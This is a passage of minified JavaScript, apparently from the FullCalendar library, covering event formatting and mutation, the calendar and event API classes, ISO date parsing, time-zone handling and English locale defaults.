c&&d.hasEnd?s.formatRange(f,h,t,{forcedStartTzo:i?null:p.forcedStartTzo,forcedEndTzo:a?null:p.forcedEndTzo}):s.format(f,t,{forcedTzo:i?null:p.forcedStartTzo})}return""}function bn(e,t,n){var r=e.eventRange.range;return{isPast:r.end<(n||t.start),isFuture:r.start>=(n||t.end),isToday:t&&un(t,r.start)}}function Cn(e){var t=["fc-event"];return e.isMirror&&t.push("fc-event-mirror"),e.isDraggable&&t.push("fc-event-draggable"),(e.isStartResizable||e.isEndResizable)&&t.push("fc-event-resizable"),e.isDragging&&t.push("fc-event-dragging"),e.isResizing&&t.push("fc-event-resizing"),e.isSelected&&t.push("fc-event-selected"),e.isStart&&t.push("fc-event-start"),e.isEnd&&t.push("fc-event-end"),e.isPast&&t.push("fc-event-past"),e.isToday&&t.push("fc-event-today"),e.isFuture&&t.push("fc-event-future"),t}function wn(e){return e.instance?e.instance.instanceId:e.def.defId+":"+e.range.start.toISOString()}var Rn={start:Pt,end:Pt,allDay:Boolean};function Tn(e,t,n){var o=function(e,t){var n=It(e,Rn),o=n.refined,i=n.extra,a=o.start?t.createMarkerMeta(o.start):null,s=o.end?t.createMarkerMeta(o.end):null,l=o.allDay;null==l&&(l=a&&a.isTimeUnspecified&&(!s||s.isTimeUnspecified));return r({range:{start:a?a.marker:null,end:s?s.marker:null},allDay:l},i)}(e,t),i=o.range;if(!i.start)return null;if(!i.end){if(null==n)return null;i.end=t.add(i.start,n)}return o}function kn(e,t){return an(e.range,t.range)&&e.allDay===t.allDay&&function(e,t){for(var n in t)if("range"!==n&&"allDay"!==n&&e[n]!==t[n])return!1;for(var n in e)if(!(n in t))return!1;return!0}(e,t)}function Mn(e,t,n){return r(r({},xn(e,t,n)),{timeZone:t.timeZone})}function xn(e,t,n){return{start:t.toDate(e.start),end:t.toDate(e.end),startStr:t.formatIso(e.start,{omitTime:n}),endStr:t.formatIso(e.end,{omitTime:n})}}function _n(e,t,n){var r=Xt({editable:!1},n),o=Jt(r.refined,r.extra,"",e.allDay,!0,n);return{def:o,ui:vn(o,t),instance:Ne(o.defId,e.range),range:e.range,isStart:!0,isEnd:!0}}function In(e,t,n){n.emitter.trigger("select",r(r({},Pn(e,n)),{jsEvent:t?t.origEvent:null,view:n.viewApi||n.calendarApi.view}))}function Pn(e,t){for(var n,o,i={},a=0,s=t.pluginHooks.dateSpanTransforms;a<s.length;a++){var l=s[a];r(i,l(e,t))}return r(i,(n=e,o=t.dateEnv,r(r({},xn(n.range,o,n.allDay)),{allDay:n.allDay}))),i}function Nn(e,t,n){var r=n.dateEnv,o=n.options,i=t;return e?(i=we(i),i=r.add(i,o.defaultAllDayEventDuration)):i=r.add(i,o.defaultTimedEventDuration),i}function Hn(e,t,n,r){var o=hn(e.defs,t),i={defs:{},instances:{}};for(var a in e.defs){var s=e.defs[a];i.defs[a]=On(s,o[a],n,r)}for(var l in e.instances){var u=e.instances[l];s=i.defs[u.defId];i.instances[l]=An(u,s,o[u.defId],n,r)}return i}function On(e,t,n,o){var i=n.standardProps||{};null==i.hasEnd&&t.durationEditable&&(n.startDelta||n.endDelta)&&(i.hasEnd=!0);var a=r(r(r({},e),i),{ui:r(r({},e.ui),i.ui)});n.extendedProps&&(a.extendedProps=r(r({},a.extendedProps),n.extendedProps));for(var s=0,l=o.pluginHooks.eventDefMutationAppliers;s<l.length;s++){(0,l[s])(a,n,o)}return!a.hasEnd&&o.options.forceEventDuration&&(a.hasEnd=!0),a}function An(e,t,n,o,i){var a=i.dateEnv,s=o.standardProps&&!0===o.standardProps.allDay,l=o.standardProps&&!1===o.standardProps.hasEnd,u=r({},e);return s&&(u.range=$t(u.range)),o.datesDelta&&n.startEditable&&(u.range={start:a.add(u.range.start,o.datesDelta),end:a.add(u.range.end,o.datesDelta)}),o.startDelta&&n.durationEditable&&(u.range={start:a.add(u.range.start,o.startDelta),end:u.range.end}),o.endDelta&&n.durationEditable&&(u.range={start:u.range.start,end:a.add(u.range.end,o.endDelta)}),l&&(u.range={start:u.range.start,end:Nn(t.allDay,u.range.start,i)}),t.allDay&&(u.range={start:we(u.range.start),end:we(u.range.end)}),u.range.end<u.range.start&&(u.range.end=Nn(t.allDay,u.range.start,i)),u}var Un=function(){function e(e,t,n){this.type=e,this.getCurrentData=t,this.dateEnv=n}return Object.defineProperty(e.prototype,"calendar",{get:function(){return this.getCurrentData().calendarApi},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"title",{get:function(){return this.getCurrentData().viewTitle},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"activeStart",{get:function(){return this.dateEnv.toDate(this.getCurrentData().dateProfile.activeRange.start)},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"activeEnd",{get:function(){return this.dateEnv.toDate(this.getCurrentData().dateProfile.activeRange.end)},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"currentStart",{get:function(){return this.dateEnv.toDate(this.getCurrentData().dateProfile.currentRange.start)},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"currentEnd",{get:function(){return this.dateEnv.toDate(this.getCurrentData().dateProfile.currentRange.end)},enumerable:!1,configurable:!0}),e.prototype.getOption=function(e){return this.getCurrentData().options[e]},e}(),Ln={id:String,defaultAllDay:Boolean,url:String,format:String,events:Pt,eventDataTransform:Pt,success:Pt,failure:Pt};function Wn(e,t,n){var r;if(void 0===n&&(n=Vn(t)),"string"==typeof e?r={url:e}:"function"==typeof e||Array.isArray(e)?r={events:e}:"object"==typeof e&&e&&(r=e),r){var o=It(r,n),i=o.refined,a=o.extra,s=function(e,t){for(var n=t.pluginHooks.eventSourceDefs,r=n.length-1;r>=0;r-=1){var o=n[r].parseMeta(e);if(o)return{sourceDefId:r,meta:o}}return null}(i,t);if(s)return{_raw:e,isFetching:!1,latestFetchId:"",fetchRange:null,defaultAllDay:i.defaultAllDay,eventDataTransform:i.eventDataTransform,success:i.success,failure:i.failure,publicId:i.id||"",sourceId:ee(),sourceDefId:s.sourceDefId,meta:s.meta,ui:zt(i,t),extendedProps:a}}return null}function Vn(e){return r(r(r({},Vt),Ln),e.pluginHooks.eventSourceRefiners)}function Fn(e,t){return"function"==typeof e&&(e=e()),null==e?t.createNowMarker():t.createMarker(e)}var zn=function(){function e(){}return e.prototype.getCurrentData=function(){return this.currentDataManager.getCurrentData()},e.prototype.dispatch=function(e){return this.currentDataManager.dispatch(e)},Object.defineProperty(e.prototype,"view",{get:function(){return this.getCurrentData().viewApi},enumerable:!1,configurable:!0}),e.prototype.batchRendering=function(e){e()},e.prototype.updateSize=function(){this.trigger("_resize",!0)},e.prototype.setOption=function(e,t){this.dispatch({type:"SET_OPTION",optionName:e,rawOptionValue:t})},e.prototype.getOption=function(e){return this.currentDataManager.currentCalendarOptionsInput[e]},e.prototype.getAvailableLocaleCodes=function(){return Object.keys(this.getCurrentData().availableRawLocales)},e.prototype.on=function(e,t){var n=this.currentDataManager;n.currentCalendarOptionsRefiners[e]?n.emitter.on(e,t):console.warn("Unknown listener name '"+e+"'")},e.prototype.off=function(e,t){this.currentDataManager.emitter.off(e,t)},e.prototype.trigger=function(e){for(var t,n=[],r=1;r<arguments.length;r++)n[r-1]=arguments[r];(t=this.currentDataManager.emitter).trigger.apply(t,o([e],n))},e.prototype.changeView=function(e,t){var n=this;this.batchRendering((function(){if(n.unselect(),t)if(t.start&&t.end)n.dispatch({type:"CHANGE_VIEW_TYPE",viewType:e}),n.dispatch({type:"SET_OPTION",optionName:"visibleRange",rawOptionValue:t});else{var r=n.getCurrentData().dateEnv;n.dispatch({type:"CHANGE_VIEW_TYPE",viewType:e,dateMarker:r.createMarker(t)})}else n.dispatch({type:"CHANGE_VIEW_TYPE",viewType:e})}))},e.prototype.zoomTo=function(e,t){var n;t=t||"day",n=this.getCurrentData().viewSpecs[t]||this.getUnitViewSpec(t),this.unselect(),n?this.dispatch({type:"CHANGE_VIEW_TYPE",viewType:n.type,dateMarker:e}):this.dispatch({type:"CHANGE_DATE",dateMarker:e})},e.prototype.getUnitViewSpec=function(e){var t,n,r=this.getCurrentData(),o=r.viewSpecs,i=r.toolbarConfig,a=[].concat(i.viewsWithButtons);for(var s in o)a.push(s);for(t=0;t<a.length;t+=1)if((n=o[a[t]])&&n.singleUnit===e)return n;return null},e.prototype.prev=function(){this.unselect(),this.dispatch({type:"PREV"})},e.prototype.next=function(){this.unselect(),this.dispatch({type:"NEXT"})},e.prototype.prevYear=function(){var e=this.getCurrentData();this.unselect(),this.dispatch({type:"CHANGE_DATE",dateMarker:e.dateEnv.addYears(e.currentDate,-1)})},e.prototype.nextYear=function(){var e=this.getCurrentData();this.unselect(),this.dispatch({type:"CHANGE_DATE",dateMarker:e.dateEnv.addYears(e.currentDate,1)})},e.prototype.today=function(){var e=this.getCurrentData();this.unselect(),this.dispatch({type:"CHANGE_DATE",dateMarker:Fn(e.calendarOptions.now,e.dateEnv)})},e.prototype.gotoDate=function(e){var t=this.getCurrentData();this.unselect(),this.dispatch({type:"CHANGE_DATE",dateMarker:t.dateEnv.createMarker(e)})},e.prototype.incrementDate=function(e){var t=this.getCurrentData(),n=Xe(e);n&&(this.unselect(),this.dispatch({type:"CHANGE_DATE",dateMarker:t.dateEnv.add(t.currentDate,n)}))},e.prototype.getDate=function(){var e=this.getCurrentData();return e.dateEnv.toDate(e.currentDate)},e.prototype.formatDate=function(e,t){var n=this.getCurrentData().dateEnv;return n.format(n.createMarker(e),bt(t))},e.prototype.formatRange=function(e,t,n){var r=this.getCurrentData().dateEnv;return r.formatRange(r.createMarker(e),r.createMarker(t),bt(n),n)},e.prototype.formatIso=function(e,t){var n=this.getCurrentData().dateEnv;return n.formatIso(n.createMarker(e),{omitTime:t})},e.prototype.select=function(e,t){var n;n=null==t?null!=e.start?e:{start:e,end:null}:{start:e,end:t};var r=this.getCurrentData(),o=Tn(n,r.dateEnv,Xe({days:1}));o&&(this.dispatch({type:"SELECT_DATES",selection:o}),In(o,null,r))},e.prototype.unselect=function(e){var t=this.getCurrentData();t.dateSelection&&(this.dispatch({type:"UNSELECT_DATES"}),function(e,t){t.emitter.trigger("unselect",{jsEvent:e?e.origEvent:null,view:t.viewApi||t.calendarApi.view})}(e,t))},e.prototype.addEvent=function(e,t){if(e instanceof Bn){var n=e._def,r=e._instance;return this.getCurrentData().eventStore.defs[n.defId]||(this.dispatch({type:"ADD_EVENTS",eventStore:Ht({def:n,instance:r})}),this.triggerEventAdd(e)),e}var o,i=this.getCurrentData();if(t instanceof V)o=t.internalEventSource;else if("boolean"==typeof t)t&&(o=We(i.eventSources)[0]);else if(null!=t){var a=this.getEventSourceById(t);if(!a)return console.warn('Could not find an event source with ID "'+t+'"'),null;o=a.internalEventSource}var s=Zt(e,o,i,!1);if(s){var l=new Bn(i,s.def,s.def.recurringDef?null:s.instance);return this.dispatch({type:"ADD_EVENTS",eventStore:Ht(s)}),this.triggerEventAdd(l),l}return null},e.prototype.triggerEventAdd=function(e){var t=this;this.getCurrentData().emitter.trigger("eventAdd",{event:e,relatedEvents:[],revert:function(){t.dispatch({type:"REMOVE_EVENTS",eventStore:jn(e)})}})},e.prototype.getEventById=function(e){var t=this.getCurrentData(),n=t.eventStore,r=n.defs,o=n.instances;for(var i in e=String(e),r){var a=r[i];if(a.publicId===e){if(a.recurringDef)return new Bn(t,a,null);for(var s in o){var l=o[s];if(l.defId===a.defId)return new Bn(t,a,l)}}}return null},e.prototype.getEvents=function(){var e=this.getCurrentData();return Gn(e.eventStore,e)},e.prototype.removeAllEvents=function(){this.dispatch({type:"REMOVE_ALL_EVENTS"})},e.prototype.getEventSources=function(){var e=this.getCurrentData(),t=e.eventSources,n=[];for(var r in t)n.push(new V(e,t[r]));return n},e.prototype.getEventSourceById=function(e){var t=this.getCurrentData(),n=t.eventSources;for(var r in e=String(e),n)if(n[r].publicId===e)return new V(t,n[r]);return null},e.prototype.addEventSource=function(e){var t=this.getCurrentData();if(e instanceof V)return t.eventSources[e.internalEventSource.sourceId]||this.dispatch({type:"ADD_EVENT_SOURCES",sources:[e.internalEventSource]}),e;var n=Wn(e,t);return n?(this.dispatch({type:"ADD_EVENT_SOURCES",sources:[n]}),new V(t,n)):null},e.prototype.removeAllEventSources=function(){this.dispatch({type:"REMOVE_ALL_EVENT_SOURCES"})},e.prototype.refetchEvents=function(){this.dispatch({type:"FETCH_EVENT_SOURCES"})},e.prototype.scrollToTime=function(e){var t=Xe(e);t&&this.trigger("_scrollRequest",{time:t})},e}(),Bn=function(){function e(e,t,n){this._context=e,this._def=t,this._instance=n||null}return e.prototype.setProp=function(e,t){var n,r;if(e in qt)console.warn("Could not set date-related prop 'name'. Use one of the date-related methods instead.");else if(e in Gt)t=Gt[e](t),this.mutate({standardProps:(n={},n[e]=t,n)});else if(e in Vt){var o=Vt[e](t);"color"===e?o={backgroundColor:t,borderColor:t}:"editable"===e?o={startEditable:t,durationEditable:t}:((r={})[e]=t,o=r),this.mutate({standardProps:{ui:o}})}else console.warn("Could not set prop '"+e+"'. Use setExtendedProp instead.")},e.prototype.setExtendedProp=function(e,t){var n;this.mutate({extendedProps:(n={},n[e]=t,n)})},e.prototype.setStart=function(e,t){void 0===t&&(t={});var n=this._context.dateEnv,r=n.createMarker(e);if(r&&this._instance){var o=tn(this._instance.range.start,r,n,t.granularity);t.maintainDuration?this.mutate({datesDelta:o}):this.mutate({startDelta:o})}},e.prototype.setEnd=function(e,t){void 0===t&&(t={});var n,r=this._context.dateEnv;if((null==e||(n=r.createMarker(e)))&&this._instance)if(n){var o=tn(this._instance.range.end,n,r,t.granularity);this.mutate({endDelta:o})}else this.mutate({standardProps:{hasEnd:!1}})},e.prototype.setDates=function(e,t,n){void 0===n&&(n={});var r,o,i,a=this._context.dateEnv,s={allDay:n.allDay},l=a.createMarker(e);if(l&&((null==t||(r=a.createMarker(t)))&&this._instance)){var u=this._instance.range;!0===n.allDay&&(u=$t(u));var c=tn(u.start,l,a,n.granularity);if(r){var d=tn(u.end,r,a,n.granularity);i=d,(o=c).years===i.years&&o.months===i.months&&o.days===i.days&&o.milliseconds===i.milliseconds?this.mutate({datesDelta:c,standardProps:s}):this.mutate({startDelta:c,endDelta:d,standardProps:s})}else s.hasEnd=!1,this.mutate({datesDelta:c,standardProps:s})}},e.prototype.moveStart=function(e){var t=Xe(e);t&&this.mutate({startDelta:t})},e.prototype.moveEnd=function(e){var t=Xe(e);t&&this.mutate({endDelta:t})},e.prototype.moveDates=function(e){var t=Xe(e);t&&this.mutate({datesDelta:t})},e.prototype.setAllDay=function(e,t){void 0===t&&(t={});var n={allDay:e},r=t.maintainDuration;null==r&&(r=this._context.options.allDayMaintainDuration),this._def.allDay!==e&&(n.hasEnd=r),this.mutate({standardProps:n})},e.prototype.formatRange=function(e){var t=this._context.dateEnv,n=this._instance,r=bt(e);return this._def.hasEnd?t.formatRange(n.range.start,n.range.end,r,{forcedStartTzo:n.forcedStartTzo,forcedEndTzo:n.forcedEndTzo}):t.format(n.range.start,r,{forcedTzo:n.forcedStartTzo})},e.prototype.mutate=function(t){var n=this._instance;if(n){var r=this._def,o=this._context,i=o.getCurrentData().eventStore,a=Ot(i,n.instanceId);a=Hn(a,{"":{display:"",startEditable:!0,durationEditable:!0,constraints:[],overlap:null,allows:[],backgroundColor:"",borderColor:"",textColor:"",classNames:[]}},t,o);var s=new e(o,r,n);this._def=a.defs[r.defId],this._instance=a.instances[n.instanceId],o.dispatch({type:"MERGE_EVENTS",eventStore:a}),o.emitter.trigger("eventChange",{oldEvent:s,event:this,relatedEvents:Gn(a,o,n),revert:function(){o.dispatch({type:"RESET_EVENTS",eventStore:i})}})}},e.prototype.remove=function(){var e=this._context,t=jn(this);e.dispatch({type:"REMOVE_EVENTS",eventStore:t}),e.emitter.trigger("eventRemove",{event:this,relatedEvents:[],revert:function(){e.dispatch({type:"MERGE_EVENTS",eventStore:t})}})},Object.defineProperty(e.prototype,"source",{get:function(){var e=this._def.sourceId;return e?new V(this._context,this._context.getCurrentData().eventSources[e]):null},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"start",{get:function(){return this._instance?this._context.dateEnv.toDate(this._instance.range.start):null},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"end",{get:function(){return this._instance&&this._def.hasEnd?this._context.dateEnv.toDate(this._instance.range.end):null},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"startStr",{get:function(){var e=this._instance;return e?this._context.dateEnv.formatIso(e.range.start,{omitTime:this._def.allDay,forcedTzo:e.forcedStartTzo}):""},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"endStr",{get:function(){var e=this._instance;return e&&this._def.hasEnd?this._context.dateEnv.formatIso(e.range.end,{omitTime:this._def.allDay,forcedTzo:e.forcedEndTzo}):""},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"id",{get:function(){return this._def.publicId},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"groupId",{get:function(){return this._def.groupId},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"allDay",{get:function(){return this._def.allDay},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"title",{get:function(){return this._def.title},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"url",{get:function(){return this._def.url},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"display",{get:function(){return this._def.ui.display||"auto"},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"startEditable",{get:function(){return this._def.ui.startEditable},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"durationEditable",{get:function(){return this._def.ui.durationEditable},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"constraint",{get:function(){return this._def.ui.constraints[0]||null},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"overlap",{get:function(){return this._def.ui.overlap},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"allow",{get:function(){return this._def.ui.allows[0]||null},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"backgroundColor",{get:function(){return this._def.ui.backgroundColor},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"borderColor",{get:function(){return this._def.ui.borderColor},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"textColor",{get:function(){return this._def.ui.textColor},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"classNames",{get:function(){return this._def.ui.classNames},enumerable:!1,configurable:!0}),Object.defineProperty(e.prototype,"extendedProps",{get:function(){return this._def.extendedProps},enumerable:!1,configurable:!0}),e.prototype.toPlainObject=function(e){void 0===e&&(e={});var t=this._def,n=t.ui,o=this.startStr,i=this.endStr,a={};return t.title&&(a.title=t.title),o&&(a.start=o),i&&(a.end=i),t.publicId&&(a.id=t.publicId),t.groupId&&(a.groupId=t.groupId),t.url&&(a.url=t.url),n.display&&"auto"!==n.display&&(a.display=n.display),e.collapseColor&&n.backgroundColor&&n.backgroundColor===n.borderColor?a.color=n.backgroundColor:(n.backgroundColor&&(a.backgroundColor=n.backgroundColor),n.borderColor&&(a.borderColor=n.borderColor)),n.textColor&&(a.textColor=n.textColor),n.classNames.length&&(a.classNames=n.classNames),Object.keys(t.extendedProps).length&&(e.collapseExtendedProps?r(a,t.extendedProps):a.extendedProps=t.extendedProps),a},e.prototype.toJSON=function(){return this.toPlainObject()},e}();function jn(e){var t,n,r=e._def,o=e._instance;return{defs:(t={},t[r.defId]=r,t),instances:o?(n={},n[o.instanceId]=o,n):{}}}function Gn(e,t,n){var r=e.defs,o=e.instances,i=[],a=n?n.instanceId:"";for(var s in o){var l=o[s],u=r[l.defId];l.instanceId!==a&&i.push(new Bn(t,u,l))}return i}var qn={};var Yn,Zn=function(){function e(){}return e.prototype.getMarkerYear=function(e){return e.getUTCFullYear()},e.prototype.getMarkerMonth=function(e){return e.getUTCMonth()},e.prototype.getMarkerDay=function(e){return e.getUTCDate()},e.prototype.arrayToMarker=function(e){return _e(e)},e.prototype.markerToArray=function(e){return xe(e)},e}();Yn=Zn,qn["gregory"]=Yn;var Xn=/^\s*(\d{4})(-?(\d{2})(-?(\d{2})([T ](\d{2}):?(\d{2})(:?(\d{2})(\.(\d+))?)?(Z|(([-+])(\d{2})(:?(\d{2}))?))?)?)?)?$/;function Kn(e){var t=Xn.exec(e);if(t){var n=new Date(Date.UTC(Number(t[1]),t[3]?Number(t[3])-1:0,Number(t[5]||1),Number(t[7]||0),Number(t[8]||0),Number(t[10]||0),t[12]?1e3*Number("0."+t[12]):0));if(Ie(n)){var r=null;return t[13]&&(r=("-"===t[15]?-1:1)*(60*Number(t[16]||0)+Number(t[18]||0))),{marker:n,isTimeUnspecified:!t[6],timeZoneOffset:r}}}return null}var Jn=function(){function e(e){var t=this.timeZone=e.timeZone,n="local"!==t&&"UTC"!==t;e.namedTimeZoneImpl&&n&&(this.namedTimeZoneImpl=new e.namedTimeZoneImpl(t)),this.canComputeOffset=Boolean(!n||this.namedTimeZoneImpl),this.calendarSystem=function(e){return new qn[e]}(e.calendarSystem),this.locale=e.locale,this.weekDow=e.locale.week.dow,this.weekDoy=e.locale.week.doy,"ISO"===e.weekNumberCalculation&&(this.weekDow=1,this.weekDoy=4),"number"==typeof e.firstDay&&(this.weekDow=e.firstDay),"function"==typeof e.weekNumberCalculation&&(this.weekNumberFunc=e.weekNumberCalculation),this.weekText=null!=e.weekText?e.weekText:e.locale.options.weekText,this.cmdFormatter=e.cmdFormatter,this.defaultSeparator=e.defaultSeparator}return e.prototype.createMarker=function(e){var t=this.createMarkerMeta(e);return null===t?null:t.marker},e.prototype.createNowMarker=function(){return this.canComputeOffset?this.timestampToMarker((new Date).valueOf()):_e(ke(new Date))},e.prototype.createMarkerMeta=function(e){if("string"==typeof e)return this.parse(e);var t=null;return"number"==typeof e?t=this.timestampToMarker(e):e instanceof Date?(e=e.valueOf(),isNaN(e)||(t=this.timestampToMarker(e))):Array.isArray(e)&&(t=_e(e)),null!==t&&Ie(t)?{marker:t,isTimeUnspecified:!1,forcedTzo:null}:null},e.prototype.parse=function(e){var t=Kn(e);if(null===t)return null;var n=t.marker,r=null;return null!==t.timeZoneOffset&&(this.canComputeOffset?n=this.timestampToMarker(n.valueOf()-60*t.timeZoneOffset*1e3):r=t.timeZoneOffset),{marker:n,isTimeUnspecified:t.isTimeUnspecified,forcedTzo:r}},e.prototype.getYear=function(e){return this.calendarSystem.getMarkerYear(e)},e.prototype.getMonth=function(e){return this.calendarSystem.getMarkerMonth(e)},e.prototype.add=function(e,t){var n=this.calendarSystem.markerToArray(e);return n[0]+=t.years,n[1]+=t.months,n[2]+=t.days,n[6]+=t.milliseconds,this.calendarSystem.arrayToMarker(n)},e.prototype.subtract=function(e,t){var n=this.calendarSystem.markerToArray(e);return n[0]-=t.years,n[1]-=t.months,n[2]-=t.days,n[6]-=t.milliseconds,this.calendarSystem.arrayToMarker(n)},e.prototype.addYears=function(e,t){var n=this.calendarSystem.markerToArray(e);return n[0]+=t,this.calendarSystem.arrayToMarker(n)},e.prototype.addMonths=function(e,t){var n=this.calendarSystem.markerToArray(e);return n[1]+=t,this.calendarSystem.arrayToMarker(n)},e.prototype.diffWholeYears=function(e,t){var n=this.calendarSystem;return Pe(e)===Pe(t)&&n.getMarkerDay(e)===n.getMarkerDay(t)&&n.getMarkerMonth(e)===n.getMarkerMonth(t)?n.getMarkerYear(t)-n.getMarkerYear(e):null},e.prototype.diffWholeMonths=function(e,t){var n=this.calendarSystem;return Pe(e)===Pe(t)&&n.getMarkerDay(e)===n.getMarkerDay(t)?n.getMarkerMonth(t)-n.getMarkerMonth(e)+12*(n.getMarkerYear(t)-n.getMarkerYear(e)):null},e.prototype.greatestWholeUnit=function(e,t){var n=this.diffWholeYears(e,t);return null!==n?{unit:"year",value:n}:null!==(n=this.diffWholeMonths(e,t))?{unit:"month",value:n}:null!==(n=be(e,t))?{unit:"week",value:n}:null!==(n=Ce(e,t))?{unit:"day",value:n}:fe(n=function(e,t){return(t.valueOf()-e.valueOf())/36e5}(e,t))?{unit:"hour",value:n}:fe(n=function(e,t){return(t.valueOf()-e.valueOf())/6e4}(e,t))?{unit:"minute",value:n}:fe(n=function(e,t){return(t.valueOf()-e.valueOf())/1e3}(e,t))?{unit:"second",value:n}:{unit:"millisecond",value:t.valueOf()-e.valueOf()}},e.prototype.countDurationsBetween=function(e,t,n){var r;return n.years&&null!==(r=this.diffWholeYears(e,t))?r/(Qe(n)/365):n.months&&null!==(r=this.diffWholeMonths(e,t))?r/function(e){return Qe(e)/30}(n):n.days&&null!==(r=Ce(e,t))?r/Qe(n):(t.valueOf()-e.valueOf())/et(n)},e.prototype.startOf=function(e,t){return"year"===t?this.startOfYear(e):"month"===t?this.startOfMonth(e):"week"===t?this.startOfWeek(e):"day"===t?we(e):"hour"===t?function(e){return _e([e.getUTCFullYear(),e.getUTCMonth(),e.getUTCDate(),e.getUTCHours()])}(e):"minute"===t?function(e){return _e([e.getUTCFullYear(),e.getUTCMonth(),e.getUTCDate(),e.getUTCHours(),e.getUTCMinutes()])}(e):"second"===t?function(e){return _e([e.getUTCFullYear(),e.getUTCMonth(),e.getUTCDate(),e.getUTCHours(),e.getUTCMinutes(),e.getUTCSeconds()])}(e):null},e.prototype.startOfYear=function(e){return this.calendarSystem.arrayToMarker([this.calendarSystem.getMarkerYear(e)])},e.prototype.startOfMonth=function(e){return this.calendarSystem.arrayToMarker([this.calendarSystem.getMarkerYear(e),this.calendarSystem.getMarkerMonth(e)])},e.prototype.startOfWeek=function(e){return this.calendarSystem.arrayToMarker([this.calendarSystem.getMarkerYear(e),this.calendarSystem.getMarkerMonth(e),e.getUTCDate()-(e.getUTCDay()-this.weekDow+7)%7])},e.prototype.computeWeekNumber=function(e){return this.weekNumberFunc?this.weekNumberFunc(this.toDate(e)):function(e,t,n){var r=e.getUTCFullYear(),o=Re(e,r,t,n);if(o<1)return Re(e,r-1,t,n);var i=Re(e,r+1,t,n);return i>=1?Math.min(o,i):o}(e,this.weekDow,this.weekDoy)},e.prototype.format=function(e,t,n){return void 0===n&&(n={}),t.format({marker:e,timeZoneOffset:null!=n.forcedTzo?n.forcedTzo:this.offsetForMarker(e)},this)},e.prototype.formatRange=function(e,t,n,r){return void 0===r&&(r={}),r.isEndExclusive&&(t=ye(t,-1)),n.formatRange({marker:e,timeZoneOffset:null!=r.forcedStartTzo?r.forcedStartTzo:this.offsetForMarker(e)},{marker:t,timeZoneOffset:null!=r.forcedEndTzo?r.forcedEndTzo:this.offsetForMarker(t)},this,r.defaultSeparator)},e.prototype.formatIso=function(e,t){void 0===t&&(t={});var n=null;return t.omitTimeZoneOffset||(n=null!=t.forcedTzo?t.forcedTzo:this.offsetForMarker(e)),function(e,t,n){void 0===n&&(n=!1);var r=e.toISOString();return r=r.replace(".000",""),n&&(r=r.replace("T00:00:00Z","")),r.length>10&&(null==t?r=r.replace("Z",""):0!==t&&(r=r.replace("Z",it(t,!0)))),r}(e,n,t.omitTime)},e.prototype.timestampToMarker=function(e){return"local"===this.timeZone?_e(ke(new Date(e))):"UTC"!==this.timeZone&&this.namedTimeZoneImpl?_e(this.namedTimeZoneImpl.timestampToArray(e)):new Date(e)},e.prototype.offsetForMarker=function(e){return"local"===this.timeZone?-Me(xe(e)).getTimezoneOffset():"UTC"===this.timeZone?0:this.namedTimeZoneImpl?this.namedTimeZoneImpl.offsetForArray(xe(e)):null},e.prototype.toDate=function(e,t){return"local"===this.timeZone?Me(xe(e)):"UTC"===this.timeZone?new Date(e.valueOf()):this.namedTimeZoneImpl?new Date(e.valueOf()-1e3*this.namedTimeZoneImpl.offsetForArray(xe(e))*60):new Date(e.valueOf()-(t||0))},e}(),$n=[],Qn={code:"en",week:{dow:0,doy:4},direction:"ltr",buttonText:{prev:"prev",next:"next",prevYear:"prev year",nextYear:"next year",year:"year",today:"today",month:"month",week:"week",day:"day",list:"list"},weekText:"W",allDayText:"all-day",moreLinkText:"more",noEventsText:"No events to display"};function er(e){for(var t=e.length>0?e[0].code:"en",n=$n.concat(e),r={en:Qn},o=0,i=n;o<i.length;o++){var a=i[o];r[a.code]=a}return{map:r,defaultCode:t}}function tr(e,t){return"object"!=typeof e||Array.isArray(e)?function(e,t){var n=[].concat(e||[]),r=function(e,t){for(var n=0;n<e.length;n+=1)for(var r=e[n].toLocaleLowerCase().split("-"),o=r.length;o>0;o-=1){var i=r.slice(0,o).join("-");if(t[i])return t[i]}return null}(n,t)||Qn;return nr(e,n,r)}(e,t):nr(e.code,[e.code],e)}function nr(e,t,n){var r=Oe([Qn,n],["buttonText"]);delete r.code;var o=r.week;return delete r.week,{codeArg:e,codes:t,week:o,simpleNumberFormat:new Intl.NumberFormat(e),options:r}}function rr(e){var t=tr(e.locale||"en",er([]).map);return new Jn(r(r({timeZone:wt.timeZone,calendarSystem:"gregory"},e),{locale:t}))}var or,ir={startTime:"09:00",endTime:"17:00",daysOfWeek:[1,2,3,4,5],display:"inverse-background",classNames:"fc-non-business",groupId:"_businessHours"};function ar(e,t){return Nt(function(e){var t;t=!0===e?[{}]:Array.isArray(e)?e.filter((function(e){return e.daysOfWeek})):"object"==typeof e&&e?[e]:[];return t=t.map((function(e){return r(r({},ir),e)}))}(e),null,t)}function sr(e,t){return e.left>=t.left&&e.left<t.right&&e.top>=t.top&&e.top<t.bottom}function lr(e,t){var n={left:Math.max(e.left,t.left),right:Math.min(e.right,t.right),top:Math.max(e.top,t.top),bottom:Math.min(e.bottom,t.bottom)};return n.left<n.right&&n.top<n.bottom&&n}function ur(e,t){return{left:Math.min(Math.max(e.left,t.left),t.right),top:Math.min(Math.max(e.top,t.top),t.bottom)}}function cr(e){return{left:(e.left+e.right)/2,top:(e.top+e.bottom)/2}}function 